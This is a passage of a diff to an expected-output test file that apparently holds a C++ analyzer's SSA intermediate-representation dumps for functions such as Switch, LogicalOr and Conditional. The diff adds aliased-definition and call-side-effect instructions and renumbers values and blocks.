Constant[0] : +# 334| m0_5(int) = Store : r0_3, r0_4 #-----| Goto -> Block 1 # 334| Block 1 # 334| r1_0(glval) = VariableAddress[i] : -# 334| r1_1(int) = Load : r1_0, m0_4 +# 334| r1_1(int) = Load : r1_0, m0_5 # 334| r1_2(int) = Constant[10] : # 334| r1_3(bool) = CompareLT : r1_1, r1_2 # 334| v1_4(void) = ConditionalBranch : r1_3 @@ -1454,7 +1469,7 @@ ir.cpp: # 335| Block 2 # 335| r2_0(glval) = VariableAddress[i] : -# 335| r2_1(int) = Load : r2_0, m0_4 +# 335| r2_1(int) = Load : r2_0, m0_5 # 335| r2_2(int) = Constant[5] : # 335| r2_3(bool) = CompareEQ : r2_1, r2_2 # 335| v2_4(void) = ConditionalBranch : r2_3 @@ -1477,42 +1492,45 @@ ir.cpp: # 341| Dereference(int *) -> int # 341| Block 0 -# 341| v0_0(void) = EnterFunction : -# 341| mu0_1(unknown) = UnmodeledDefinition : -# 341| r0_2(glval) = VariableAddress[p] : -# 341| m0_3(int *) = InitializeParameter[p] : r0_2 -# 342| r0_4(int) = Constant[1] : -# 342| r0_5(glval) = VariableAddress[p] : -# 342| r0_6(int *) = Load : r0_5, m0_3 -# 342| mu0_7(int) = Store : r0_6, r0_4 -# 343| r0_8(glval) = VariableAddress[#return] : -# 343| r0_9(glval) = VariableAddress[p] : -# 343| r0_10(int *) = Load : r0_9, m0_3 -# 343| r0_11(int) = Load : r0_10, mu0_1 -# 343| m0_12(int) = Store : r0_8, r0_11 -# 341| r0_13(glval) = VariableAddress[#return] : -# 341| v0_14(void) = ReturnValue : r0_13, m0_12 -# 341| v0_15(void) = UnmodeledUse : mu* -# 341| v0_16(void) = ExitFunction : +# 341| v0_0(void) = EnterFunction : +# 341| mu0_1(unknown) = AliasedDefinition : +# 341| mu0_2(unknown) = UnmodeledDefinition : +# 341| r0_3(glval) = VariableAddress[p] : +# 341| m0_4(int *) = InitializeParameter[p] : r0_3 +# 342| r0_5(int) = Constant[1] : +# 342| r0_6(glval) = VariableAddress[p] : +# 342| r0_7(int *) = Load : r0_6, m0_4 +# 342| mu0_8(int) = Store : r0_7, r0_5 +# 343| r0_9(glval) = VariableAddress[#return] : +# 343| r0_10(glval) = VariableAddress[p] : +# 343| r0_11(int *) = Load : r0_10, m0_4 +# 343| r0_12(int) = Load : r0_11, mu0_2 +# 343| m0_13(int) = Store : r0_9, r0_12 +# 341| r0_14(glval) = VariableAddress[#return] : +# 341| v0_15(void) = ReturnValue : r0_14, m0_13 +# 341| v0_16(void) = UnmodeledUse : mu* +# 341| v0_17(void) = ExitFunction : # 348| AddressOf() -> int * # 348| Block 0 # 348| v0_0(void) = EnterFunction : -# 348| mu0_1(unknown) = UnmodeledDefinition : -# 349| r0_2(glval) = VariableAddress[#return] : -# 349| r0_3(glval) = VariableAddress[g] : -# 349| m0_4(int *) = Store : r0_2, r0_3 -# 348| r0_5(glval) = VariableAddress[#return] : -# 348| v0_6(void) = ReturnValue : r0_5, m0_4 -# 348| v0_7(void) = UnmodeledUse : mu* -# 348| v0_8(void) = ExitFunction : +# 348| mu0_1(unknown) = AliasedDefinition : +# 348| mu0_2(unknown) = UnmodeledDefinition : +# 349| r0_3(glval) = VariableAddress[#return] : +# 349| r0_4(glval) = VariableAddress[g] : +# 349| m0_5(int *) = Store : r0_3, r0_4 +# 348| r0_6(glval) = VariableAddress[#return] : +# 348| v0_7(void) = ReturnValue : r0_6, m0_5 +# 348| v0_8(void) = UnmodeledUse : mu* +# 348| v0_9(void) = ExitFunction : # 352| Break(int) -> void # 352| Block 0 # 352| v0_0(void) = EnterFunction : -# 352| mu0_1(unknown) = UnmodeledDefinition : -# 352| r0_2(glval) = VariableAddress[n] : -# 352| m0_3(int) = InitializeParameter[n] : r0_2 +# 352| mu0_1(unknown) = AliasedDefinition : +# 352| mu0_2(unknown) = UnmodeledDefinition : +# 352| r0_3(glval) = VariableAddress[n] : +# 352| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 5 # 354| Block 1 @@ -1544,7 +1562,7 @@ ir.cpp: # 352| v4_4(void) = ExitFunction : # 353| Block 5 -# 353| m5_0(int) = Phi : from 0:m0_3, from 3:m3_4 +# 353| m5_0(int) = Phi : from 0:m0_4, from 3:m3_4 # 353| r5_1(glval) = VariableAddress[n] : # 353| r5_2(int) = Load : r5_1, m5_0 # 353| r5_3(int) = Constant[0] : @@ -1556,13 +1574,14 @@ ir.cpp: # 360| Continue(int) -> void # 360| Block 0 # 360| v0_0(void) = EnterFunction : -# 360| mu0_1(unknown) = UnmodeledDefinition : -# 360| r0_2(glval) = VariableAddress[n] : -# 360| m0_3(int) = InitializeParameter[n] : r0_2 +# 360| mu0_1(unknown) = AliasedDefinition : +# 360| mu0_2(unknown) = UnmodeledDefinition : +# 360| r0_3(glval) = VariableAddress[n] : +# 360| m0_4(int) = InitializeParameter[n] : r0_3 #-----| Goto -> Block 1 # 362| Block 1 -# 362| m1_0(int) = Phi : from 0:m0_3, from 4:m4_0 +# 362| m1_0(int) = Phi : from 0:m0_4, from 4:m4_0 # 362| r1_1(glval) = VariableAddress[n] : # 362| r1_2(int) = Load : r1_1, m1_0 # 362| r1_3(int) = Constant[1] : @@ -1603,197 +1622,196 @@ ir.cpp: # 372| Call() -> void # 372| Block 0 # 372| v0_0(void) = EnterFunction : -# 372| mu0_1(unknown) = UnmodeledDefinition : -# 373| r0_2(glval) = FunctionAddress[VoidFunc] : -# 373| v0_3(void) = Call : r0_2 -# 374| v0_4(void) = NoOp : -# 372| v0_5(void) = ReturnVoid : -# 372| v0_6(void) = UnmodeledUse : mu* -# 372| v0_7(void) = ExitFunction : +# 372| mu0_1(unknown) = AliasedDefinition : +# 372| mu0_2(unknown) = UnmodeledDefinition : +# 373| r0_3(glval) = FunctionAddress[VoidFunc] : +# 373| v0_4(void) = Call : r0_3 +# 373| mu0_5(unknown) = ^CallSideEffect : mu0_2 +# 374| v0_6(void) = NoOp : +# 372| v0_7(void) = ReturnVoid : +# 372| v0_8(void) = UnmodeledUse : mu* +# 372| v0_9(void) = ExitFunction : # 376| CallAdd(int, int) -> int # 376| Block 0 # 376| v0_0(void) = EnterFunction : -# 376| mu0_1(unknown) = UnmodeledDefinition : -# 376| r0_2(glval) = VariableAddress[x] : -# 376| m0_3(int) = InitializeParameter[x] : r0_2 -# 376| r0_4(glval) = VariableAddress[y] : -# 376| m0_5(int) = InitializeParameter[y] : r0_4 -# 377| r0_6(glval) = VariableAddress[#return] : -# 377| r0_7(glval) = FunctionAddress[Add] : -# 377| r0_8(glval) = VariableAddress[x] : -# 377| r0_9(int) = Load : r0_8, m0_3 -# 377| r0_10(glval) = VariableAddress[y] : -# 377| r0_11(int) = Load : r0_10, m0_5 -# 377| r0_12(int) = Call : r0_7, r0_9, r0_11 -# 377| m0_13(int) = Store : r0_6, r0_12 -# 376| r0_14(glval) = VariableAddress[#return] : -# 376| v0_15(void) = ReturnValue : r0_14, m0_13 -# 376| v0_16(void) = UnmodeledUse : mu* -# 376| v0_17(void) = ExitFunction : +# 376| mu0_1(unknown) = AliasedDefinition : +# 376| mu0_2(unknown) = UnmodeledDefinition : +# 376| r0_3(glval) = VariableAddress[x] : +# 376| m0_4(int) = InitializeParameter[x] : r0_3 +# 376| r0_5(glval) = VariableAddress[y] : +# 376| m0_6(int) = InitializeParameter[y] : r0_5 +# 377| r0_7(glval) = VariableAddress[#return] : +# 377| r0_8(glval) = FunctionAddress[Add] : +# 377| r0_9(glval) = VariableAddress[x] : +# 377| r0_10(int) = Load : r0_9, m0_4 +# 377| r0_11(glval) = VariableAddress[y] : +# 377| r0_12(int) = Load : r0_11, m0_6 +# 377| r0_13(int) = Call : r0_8, r0_10, r0_12 +# 377| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 377| m0_15(int) = Store : r0_7, r0_13 +# 376| r0_16(glval) = VariableAddress[#return] : +# 376| v0_17(void) = ReturnValue : r0_16, m0_15 +# 376| v0_18(void) = UnmodeledUse : mu* +# 376| v0_19(void) = ExitFunction : # 380| Comma(int, int) -> int # 380| Block 0 -# 380| v0_0(void) = EnterFunction : -# 380| mu0_1(unknown) = UnmodeledDefinition : -# 380| r0_2(glval) = VariableAddress[x] : -# 380| m0_3(int) = InitializeParameter[x] : r0_2 -# 380| r0_4(glval) = VariableAddress[y] : -# 380| m0_5(int) = InitializeParameter[y] : r0_4 -# 381| r0_6(glval) = VariableAddress[#return] : -# 381| r0_7(glval) = FunctionAddress[VoidFunc] : -# 381| v0_8(void) = Call : r0_7 -# 381| r0_9(glval) = FunctionAddress[CallAdd] : -# 381| r0_10(glval) = VariableAddress[x] : -# 381| r0_11(int) = Load : r0_10, m0_3 -# 381| r0_12(glval) = VariableAddress[y] : -# 381| r0_13(int) = Load : r0_12, m0_5 -# 381| r0_14(int) = Call : r0_9, r0_11, r0_13 -# 381| m0_15(int) = Store : r0_6, r0_14 -# 380| r0_16(glval) = VariableAddress[#return] : -# 380| v0_17(void) = ReturnValue : r0_16, m0_15 -# 380| v0_18(void) = UnmodeledUse : mu* -# 380| v0_19(void) = ExitFunction : +# 380| v0_0(void) = EnterFunction : +# 380| mu0_1(unknown) = AliasedDefinition : +# 380| mu0_2(unknown) = UnmodeledDefinition : +# 380| r0_3(glval) = VariableAddress[x] : +# 380| m0_4(int) = InitializeParameter[x] : r0_3 +# 380| r0_5(glval) = VariableAddress[y] : +# 380| m0_6(int) = InitializeParameter[y] : r0_5 +# 381| r0_7(glval) = VariableAddress[#return] : +# 381| r0_8(glval) = FunctionAddress[VoidFunc] : +# 381| v0_9(void) = Call : r0_8 +# 381| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 381| r0_11(glval) = FunctionAddress[CallAdd] : +# 381| r0_12(glval) = VariableAddress[x] : +# 381| r0_13(int) = Load : r0_12, m0_4 +# 381| r0_14(glval) = VariableAddress[y] : +# 381| r0_15(int) = Load : r0_14, m0_6 +# 381| r0_16(int) = Call : r0_11, r0_13, r0_15 +# 381| mu0_17(unknown) = ^CallSideEffect : mu0_2 +# 381| m0_18(int) = Store : r0_7, r0_16 +# 380| r0_19(glval) = VariableAddress[#return] : +# 380| v0_20(void) = ReturnValue : r0_19, m0_18 +# 380| v0_21(void) = UnmodeledUse : mu* +# 380| v0_22(void) = ExitFunction : # 384| Switch(int) -> void # 384| Block 0 # 384| v0_0(void) = EnterFunction : -# 384| mu0_1(unknown) = UnmodeledDefinition : -# 384| r0_2(glval) = VariableAddress[x] : -# 384| m0_3(int) = InitializeParameter[x] : r0_2 -# 385| r0_4(glval) = VariableAddress[y] : -# 385| m0_5(int) = Uninitialized : r0_4 -# 386| r0_6(glval) = VariableAddress[x] : -# 386| r0_7(int) = Load : r0_6, m0_3 -# 386| v0_8(void) = Switch : r0_7 -#-----| Case[-1] -> Block 2 -#-----| Case[1] -> Block 3 -#-----| Case[2] -> Block 4 -#-----| Case[3] -> Block 5 -#-----| Case[4] -> Block 6 -#-----| Default -> Block 7 +# 384| mu0_1(unknown) = AliasedDefinition : +# 384| mu0_2(unknown) = UnmodeledDefinition : +# 384| r0_3(glval) = VariableAddress[x] : +# 384| m0_4(int) = InitializeParameter[x] : r0_3 +# 385| r0_5(glval) = VariableAddress[y] : +# 385| m0_6(int) = Uninitialized[y] : r0_5 +# 386| r0_7(glval) = VariableAddress[x] : +# 386| r0_8(int) = Load : r0_7, m0_4 +# 386| v0_9(void) = Switch : r0_8 +#-----| Case[-1] -> Block 1 +#-----| Case[1] -> Block 2 +#-----| Case[2] -> Block 3 +#-----| Case[3] -> Block 4 +#-----| Case[4] -> Block 5 +#-----| Default -> Block 6 -# 387| Block 1 -# 387| r1_0(int) = Constant[1234] : -# 387| r1_1(glval) = VariableAddress[y] : -# 387| m1_2(int) = Store : r1_1, r1_0 -#-----| Goto -> Block 2 +# 389| Block 1 +# 389| v1_0(void) = NoOp : +# 390| r1_1(int) = Constant[-1] : +# 390| r1_2(glval) = VariableAddress[y] : +# 390| m1_3(int) = Store : r1_2, r1_1 +# 391| v1_4(void) = NoOp : +#-----| Goto -> Block 7 -# 389| Block 2 -# 389| v2_0(void) = NoOp : -# 390| r2_1(int) = Constant[-1] : -# 390| r2_2(glval) = VariableAddress[y] : -# 390| m2_3(int) = Store : r2_2, r2_1 -# 391| v2_4(void) = NoOp : -#-----| Goto -> Block 9 +# 393| Block 2 +# 393| v2_0(void) = NoOp : +#-----| Goto -> Block 3 -# 393| Block 3 -# 393| v3_0(void) = NoOp : -#-----| Goto -> Block 4 +# 394| Block 3 +# 394| v3_0(void) = NoOp : +# 395| r3_1(int) = Constant[1] : +# 395| r3_2(glval) = VariableAddress[y] : +# 395| m3_3(int) = Store : r3_2, r3_1 +# 396| v3_4(void) = NoOp : +#-----| Goto -> Block 7 -# 394| Block 4 -# 394| v4_0(void) = NoOp : -# 395| r4_1(int) = Constant[1] : -# 395| r4_2(glval) = VariableAddress[y] : -# 395| m4_3(int) = Store : r4_2, r4_1 -# 396| v4_4(void) = NoOp : -#-----| Goto -> Block 9 +# 398| Block 4 +# 398| v4_0(void) = NoOp : +# 399| r4_1(int) = Constant[3] : +# 399| r4_2(glval) = VariableAddress[y] : +# 399| m4_3(int) = Store : r4_2, r4_1 +#-----| Goto -> Block 5 -# 398| Block 5 -# 398| v5_0(void) = NoOp : -# 399| r5_1(int) = Constant[3] : -# 399| r5_2(glval) = VariableAddress[y] : -# 399| m5_3(int) = Store : r5_2, r5_1 -#-----| Goto -> Block 6 +# 400| Block 5 +# 400| v5_0(void) = NoOp : +# 401| r5_1(int) = Constant[4] : +# 401| r5_2(glval) = VariableAddress[y] : +# 401| m5_3(int) = Store : r5_2, r5_1 +# 402| v5_4(void) = NoOp : +#-----| Goto -> Block 7 -# 400| Block 6 -# 400| v6_0(void) = NoOp : -# 401| r6_1(int) = Constant[4] : -# 401| r6_2(glval) = VariableAddress[y] : -# 401| m6_3(int) = Store : r6_2, r6_1 -# 402| v6_4(void) = NoOp : -#-----| Goto -> Block 9 +# 404| Block 6 +# 404| v6_0(void) = NoOp : +# 405| r6_1(int) = Constant[0] : +# 405| r6_2(glval) = VariableAddress[y] : +# 405| m6_3(int) = Store : r6_2, r6_1 +# 406| v6_4(void) = NoOp : +#-----| Goto -> Block 7 -# 404| Block 7 -# 404| v7_0(void) = NoOp : -# 405| r7_1(int) = Constant[0] : -# 405| r7_2(glval) = VariableAddress[y] : -# 405| m7_3(int) = Store : r7_2, r7_1 -# 406| v7_4(void) = NoOp : -#-----| Goto -> Block 9 - -# 408| Block 8 -# 408| r8_0(int) = Constant[5678] : -# 408| r8_1(glval) = VariableAddress[y] : -# 408| m8_2(int) = Store : r8_1, r8_0 -#-----| Goto -> Block 9 - -# 409| Block 9 -# 409| v9_0(void) = NoOp : -# 410| v9_1(void) = NoOp : -# 384| v9_2(void) = ReturnVoid : -# 384| v9_3(void) = UnmodeledUse : mu* -# 384| v9_4(void) = ExitFunction : +# 409| Block 7 +# 409| v7_0(void) = NoOp : +# 410| v7_1(void) = NoOp : +# 384| v7_2(void) = ReturnVoid : +# 384| v7_3(void) = UnmodeledUse : mu* +# 384| v7_4(void) = ExitFunction : # 422| ReturnStruct(Point) -> Point # 422| Block 0 # 422| v0_0(void) = EnterFunction : -# 422| mu0_1(unknown) = UnmodeledDefinition : -# 422| r0_2(glval) = VariableAddress[pt] : -# 422| m0_3(Point) = InitializeParameter[pt] : r0_2 -# 423| r0_4(glval) = VariableAddress[#return] : -# 423| r0_5(glval) = VariableAddress[pt] : -# 423| r0_6(Point) = Load : r0_5, m0_3 -# 423| m0_7(Point) = Store : r0_4, r0_6 -# 422| r0_8(glval) = VariableAddress[#return] : -# 422| v0_9(void) = ReturnValue : r0_8, m0_7 -# 422| v0_10(void) = UnmodeledUse : mu* -# 422| v0_11(void) = ExitFunction : +# 422| mu0_1(unknown) = AliasedDefinition : +# 422| mu0_2(unknown) = UnmodeledDefinition : +# 422| r0_3(glval) = VariableAddress[pt] : +# 422| m0_4(Point) = InitializeParameter[pt] : r0_3 +# 423| r0_5(glval) = VariableAddress[#return] : +# 423| r0_6(glval) = VariableAddress[pt] : +# 423| r0_7(Point) = Load : r0_6, m0_4 +# 423| m0_8(Point) = Store : r0_5, r0_7 +# 422| r0_9(glval) = VariableAddress[#return] : +# 422| v0_10(void) = ReturnValue : r0_9, m0_8 +# 422| v0_11(void) = UnmodeledUse : mu* +# 422| v0_12(void) = ExitFunction : # 426| FieldAccess() -> void # 426| Block 0 # 426| v0_0(void) = EnterFunction : -# 426| mu0_1(unknown) = UnmodeledDefinition : -# 427| r0_2(glval) = VariableAddress[pt] : -# 427| mu0_3(Point) = Uninitialized : r0_2 -# 428| r0_4(int) = Constant[5] : -# 428| r0_5(glval) = VariableAddress[pt] : -# 428| r0_6(glval) = FieldAddress[x] : r0_5 -# 428| mu0_7(int) = Store : r0_6, r0_4 -# 429| r0_8(glval) = VariableAddress[pt] : -# 429| r0_9(glval) = FieldAddress[x] : r0_8 -# 429| r0_10(int) = Load : r0_9, mu0_1 -# 429| r0_11(glval) = VariableAddress[pt] : -# 429| r0_12(glval) = FieldAddress[y] : r0_11 -# 429| mu0_13(int) = Store : r0_12, r0_10 -# 430| r0_14(glval) = VariableAddress[p] : -# 430| r0_15(glval) = VariableAddress[pt] : -# 430| r0_16(glval) = FieldAddress[y] : r0_15 -# 430| m0_17(int *) = Store : r0_14, r0_16 -# 431| v0_18(void) = NoOp : -# 426| v0_19(void) = ReturnVoid : -# 426| v0_20(void) = UnmodeledUse : mu* -# 426| v0_21(void) = ExitFunction : +# 426| mu0_1(unknown) = AliasedDefinition : +# 426| mu0_2(unknown) = UnmodeledDefinition : +# 427| r0_3(glval) = VariableAddress[pt] : +# 427| mu0_4(Point) = Uninitialized[pt] : r0_3 +# 428| r0_5(int) = Constant[5] : +# 428| r0_6(glval) = VariableAddress[pt] : +# 428| r0_7(glval) = FieldAddress[x] : r0_6 +# 428| mu0_8(int) = Store : r0_7, r0_5 +# 429| r0_9(glval) = VariableAddress[pt] : +# 429| r0_10(glval) = FieldAddress[x] : r0_9 +# 429| r0_11(int) = Load : r0_10, mu0_2 +# 429| r0_12(glval) = VariableAddress[pt] : +# 429| r0_13(glval) = FieldAddress[y] : r0_12 +# 429| mu0_14(int) = Store : r0_13, r0_11 +# 430| r0_15(glval) = VariableAddress[p] : +# 430| r0_16(glval) = VariableAddress[pt] : +# 430| r0_17(glval) = FieldAddress[y] : r0_16 +# 430| m0_18(int *) = Store : r0_15, r0_17 +# 431| v0_19(void) = NoOp : +# 426| v0_20(void) = ReturnVoid : +# 426| v0_21(void) = UnmodeledUse : mu* +# 426| v0_22(void) = ExitFunction : # 433| LogicalOr(bool, bool) -> void # 433| Block 0 # 433| v0_0(void) = EnterFunction : -# 433| mu0_1(unknown) = UnmodeledDefinition : -# 433| r0_2(glval) = VariableAddress[a] : -# 433| m0_3(bool) = InitializeParameter[a] : r0_2 -# 433| r0_4(glval) = VariableAddress[b] : -# 433| m0_5(bool) = InitializeParameter[b] : r0_4 -# 434| r0_6(glval) = VariableAddress[x] : -# 434| m0_7(int) = Uninitialized : r0_6 -# 435| r0_8(glval) = VariableAddress[a] : -# 435| r0_9(bool) = Load : r0_8, m0_3 -# 435| v0_10(void) = ConditionalBranch : r0_9 +# 433| mu0_1(unknown) = AliasedDefinition : +# 433| mu0_2(unknown) = UnmodeledDefinition : +# 433| r0_3(glval) = VariableAddress[a] : +# 433| m0_4(bool) = InitializeParameter[a] : r0_3 +# 433| r0_5(glval) = VariableAddress[b] : +# 433| m0_6(bool) = InitializeParameter[b] : r0_5 +# 434| r0_7(glval) = VariableAddress[x] : +# 434| m0_8(int) = Uninitialized[x] : r0_7 +# 435| r0_9(glval) = VariableAddress[a] : +# 435| r0_10(bool) = Load : r0_9, m0_4 +# 435| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 2 # 435| Block 1 # 435| r1_0(glval) = VariableAddress[b] : -# 435| r1_1(bool) = Load : r1_0, m0_5 +# 435| r1_1(bool) = Load : r1_0, m0_6 # 435| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 @@ -1806,14 +1824,14 @@ ir.cpp: # 439| Block 3 # 439| r3_0(glval) = VariableAddress[a] : -# 439| r3_1(bool) = Load : r3_0, m0_3 +# 439| r3_1(bool) = Load : r3_0, m0_4 # 439| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 4 #-----| True -> Block 5 # 439| Block 4 # 439| r4_0(glval) = VariableAddress[b] : -# 439| r4_1(bool) = Load : r4_0, m0_5 +# 439| r4_1(bool) = Load : r4_0, m0_6 # 439| v4_2(void) = ConditionalBranch : r4_1 #-----| False -> Block 6 #-----| True -> Block 5 @@ -1839,22 +1857,23 @@ ir.cpp: # 447| LogicalAnd(bool, bool) -> void # 447| Block 0 # 447| v0_0(void) = EnterFunction : -# 447| mu0_1(unknown) = UnmodeledDefinition : -# 447| r0_2(glval) = VariableAddress[a] : -# 447| m0_3(bool) = InitializeParameter[a] : r0_2 -# 447| r0_4(glval) = VariableAddress[b] : -# 447| m0_5(bool) = InitializeParameter[b] : r0_4 -# 448| r0_6(glval) = VariableAddress[x] : -# 448| m0_7(int) = Uninitialized : r0_6 -# 449| r0_8(glval) = VariableAddress[a] : -# 449| r0_9(bool) = Load : r0_8, m0_3 -# 449| v0_10(void) = ConditionalBranch : r0_9 +# 447| mu0_1(unknown) = AliasedDefinition : +# 447| mu0_2(unknown) = UnmodeledDefinition : +# 447| r0_3(glval) = VariableAddress[a] : +# 447| m0_4(bool) = InitializeParameter[a] : r0_3 +# 447| r0_5(glval) = VariableAddress[b] : +# 447| m0_6(bool) = InitializeParameter[b] : r0_5 +# 448| r0_7(glval) = VariableAddress[x] : +# 448| m0_8(int) = Uninitialized[x] : r0_7 +# 449| r0_9(glval) = VariableAddress[a] : +# 449| r0_10(bool) = Load : r0_9, m0_4 +# 449| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 3 #-----| True -> Block 1 # 449| Block 1 # 449| r1_0(glval) = VariableAddress[b] : -# 449| r1_1(bool) = Load : r1_0, m0_5 +# 449| r1_1(bool) = Load : r1_0, m0_6 # 449| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 3 #-----| True -> Block 2 @@ -1867,14 +1886,14 @@ ir.cpp: # 453| Block 3 # 453| r3_0(glval) = VariableAddress[a] : -# 453| r3_1(bool) = Load : r3_0, m0_3 +# 453| r3_1(bool) = Load : r3_0, m0_4 # 453| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 6 #-----| True -> Block 4 # 453| Block 4 # 453| r4_0(glval) = VariableAddress[b] : -# 453| r4_1(bool) = Load : r4_0, m0_5 +# 453| r4_1(bool) = Load : r4_0, m0_6 # 453| v4_2(void) = ConditionalBranch : r4_1 #-----| False -> Block 6 #-----| True -> Block 5 @@ -1900,16 +1919,17 @@ ir.cpp: # 461| LogicalNot(bool, bool) -> void # 461| Block 0 # 461| v0_0(void) = EnterFunction : -# 461| mu0_1(unknown) = UnmodeledDefinition : -# 461| r0_2(glval) = VariableAddress[a] : -# 461| m0_3(bool) = InitializeParameter[a] : r0_2 -# 461| r0_4(glval) = VariableAddress[b] : -# 461| m0_5(bool) = InitializeParameter[b] : r0_4 -# 462| r0_6(glval) = VariableAddress[x] : -# 462| m0_7(int) = Uninitialized : r0_6 -# 463| r0_8(glval) = VariableAddress[a] : -# 463| r0_9(bool) = Load : r0_8, m0_3 -# 463| v0_10(void) = ConditionalBranch : r0_9 +# 461| mu0_1(unknown) = AliasedDefinition : +# 461| mu0_2(unknown) = UnmodeledDefinition : +# 461| r0_3(glval) = VariableAddress[a] : +# 461| m0_4(bool) = InitializeParameter[a] : r0_3 +# 461| r0_5(glval) = VariableAddress[b] : +# 461| m0_6(bool) = InitializeParameter[b] : r0_5 +# 462| r0_7(glval) = VariableAddress[x] : +# 462| m0_8(int) = Uninitialized[x] : r0_7 +# 463| r0_9(glval) = VariableAddress[a] : +# 463| r0_10(bool) = Load : r0_9, m0_4 +# 463| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 1 #-----| True -> Block 2 @@ -1921,14 +1941,14 @@ ir.cpp: # 467| Block 2 # 467| r2_0(glval) = VariableAddress[a] : -# 467| r2_1(bool) = Load : r2_0, m0_3 +# 467| r2_1(bool) = Load : r2_0, m0_4 # 467| v2_2(void) = ConditionalBranch : r2_1 #-----| False -> Block 4 #-----| True -> Block 3 # 467| Block 3 # 467| r3_0(glval) = VariableAddress[b] : -# 467| r3_1(bool) = Load : r3_0, m0_5 +# 467| r3_1(bool) = Load : r3_0, m0_6 # 467| v3_2(void) = ConditionalBranch : r3_1 #-----| False -> Block 4 #-----| True -> Block 5 @@ -1954,22 +1974,23 @@ ir.cpp: # 475| ConditionValues(bool, bool) -> void # 475| Block 0 # 475| v0_0(void) = EnterFunction : -# 475| mu0_1(unknown) = UnmodeledDefinition : -# 475| r0_2(glval) = VariableAddress[a] : -# 475| m0_3(bool) = InitializeParameter[a] : r0_2 -# 475| r0_4(glval) = VariableAddress[b] : -# 475| m0_5(bool) = InitializeParameter[b] : r0_4 -# 476| r0_6(glval) = VariableAddress[x] : -# 476| m0_7(bool) = Uninitialized : r0_6 -# 477| r0_8(glval) = VariableAddress[a] : -# 477| r0_9(bool) = Load : r0_8, m0_3 -# 477| v0_10(void) = ConditionalBranch : r0_9 +# 475| mu0_1(unknown) = AliasedDefinition : +# 475| mu0_2(unknown) = UnmodeledDefinition : +# 475| r0_3(glval) = VariableAddress[a] : +# 475| m0_4(bool) = InitializeParameter[a] : r0_3 +# 475| r0_5(glval) = VariableAddress[b] : +# 475| m0_6(bool) = InitializeParameter[b] : r0_5 +# 476| r0_7(glval) = VariableAddress[x] : +# 476| m0_8(bool) = Uninitialized[x] : r0_7 +# 477| r0_9(glval) = VariableAddress[a] : +# 477| r0_10(bool) = Load : r0_9, m0_4 +# 477| v0_11(void) = ConditionalBranch : r0_10 #-----| False -> Block 10 #-----| True -> Block 1 # 477| Block 1 # 477| r1_0(glval) = VariableAddress[b] : -# 477| r1_1(bool) = Load : r1_0, m0_5 +# 477| r1_1(bool) = Load : r1_0, m0_6 # 477| v1_2(void) = ConditionalBranch : r1_1 #-----| False -> Block 10 #-----| True -> Block 12 @@ -1987,7 +2008,7 @@ ir.cpp: # 478| r3_3(glval) = VariableAddress[x] : # 478| m3_4(bool) = Store : r3_3, r3_2 # 479| r3_5(glval) = VariableAddress[a] : -# 479| r3_6(bool) = Load : r3_5, m0_3 +# 479| r3_6(bool) = Load : r3_5, m0_4 # 479| v3_7(void) = ConditionalBranch : r3_6 #-----| False -> Block 9 #-----| True -> Block 8 @@ -2000,7 +2021,7 @@ ir.cpp: # 478| Block 5 # 478| r5_0(glval) = VariableAddress[b] : -# 478| r5_1(bool) = Load : r5_0, m0_5 +# 478| r5_1(bool) = Load : r5_0, m0_6 # 478| v5_2(void) = ConditionalBranch : r5_1 #-----| False -> Block 2 #-----| True -> Block 4 @@ -2031,7 +2052,7 @@ ir.cpp: # 479| Block 9 # 479| r9_0(glval) = VariableAddress[b] : -# 479| r9_1(bool) = Load : r9_0, m0_5 +# 479| r9_1(bool) = Load : r9_0, m0_6 # 479| v9_2(void) = ConditionalBranch : r9_1 #-----| False -> Block 6 #-----| True -> Block 8 @@ -2049,7 +2070,7 @@ ir.cpp: # 477| r11_3(glval) = VariableAddress[x] : # 477| m11_4(bool) = Store : r11_3, r11_2 # 478| r11_5(glval) = VariableAddress[a] : -# 478| r11_6(bool) = Load : r11_5, m0_3 +# 478| r11_6(bool) = Load : r11_5, m0_4 # 478| v11_7(void) = ConditionalBranch : r11_6 #-----| False -> Block 5 #-----| True -> Block 4 @@ -2062,31 +2083,32 @@ ir.cpp: # 482| Conditional(bool, int, int) -> void # 482| Block 0 -# 482| v0_0(void) = EnterFunction : -# 482| mu0_1(unknown) = UnmodeledDefinition : -# 482| r0_2(glval) = VariableAddress[a] : -# 482| m0_3(bool) = InitializeParameter[a] : r0_2 -# 482| r0_4(glval) = VariableAddress[x] : -# 482| m0_5(int) = InitializeParameter[x] : r0_4 -# 482| r0_6(glval) = VariableAddress[y] : -# 482| m0_7(int) = InitializeParameter[y] : r0_6 -# 483| r0_8(glval) = VariableAddress[z] : -# 483| r0_9(glval) = VariableAddress[a] : -# 483| r0_10(bool) = Load : r0_9, m0_3 -# 483| v0_11(void) = ConditionalBranch : r0_10 +# 482| v0_0(void) = EnterFunction : +# 482| mu0_1(unknown) = AliasedDefinition : +# 482| mu0_2(unknown) = UnmodeledDefinition : +# 482| r0_3(glval) = VariableAddress[a] : +# 482| m0_4(bool) = InitializeParameter[a] : r0_3 +# 482| r0_5(glval) = VariableAddress[x] : +# 482| m0_6(int) = InitializeParameter[x] : r0_5 +# 482| r0_7(glval) = VariableAddress[y] : +# 482| m0_8(int) = InitializeParameter[y] : r0_7 +# 483| r0_9(glval) = VariableAddress[z] : +# 483| r0_10(glval) = VariableAddress[a] : +# 483| r0_11(bool) = Load : r0_10, m0_4 +# 483| v0_12(void) = ConditionalBranch : r0_11 #-----| False -> Block 2 #-----| True -> Block 1 # 483| Block 1 # 483| r1_0(glval) = VariableAddress[x] : -# 483| r1_1(int) = Load : r1_0, m0_5 +# 483| r1_1(int) = Load : r1_0, m0_6 # 483| r1_2(glval) = VariableAddress[#temp483:13] : # 483| m1_3(int) = Store : r1_2, r1_1 #-----| Goto -> Block 3 # 483| Block 2 # 483| r2_0(glval) = VariableAddress[y] : -# 483| r2_1(int) = Load : r2_0, m0_7 +# 483| r2_1(int) = Load : r2_0, m0_8 # 483| 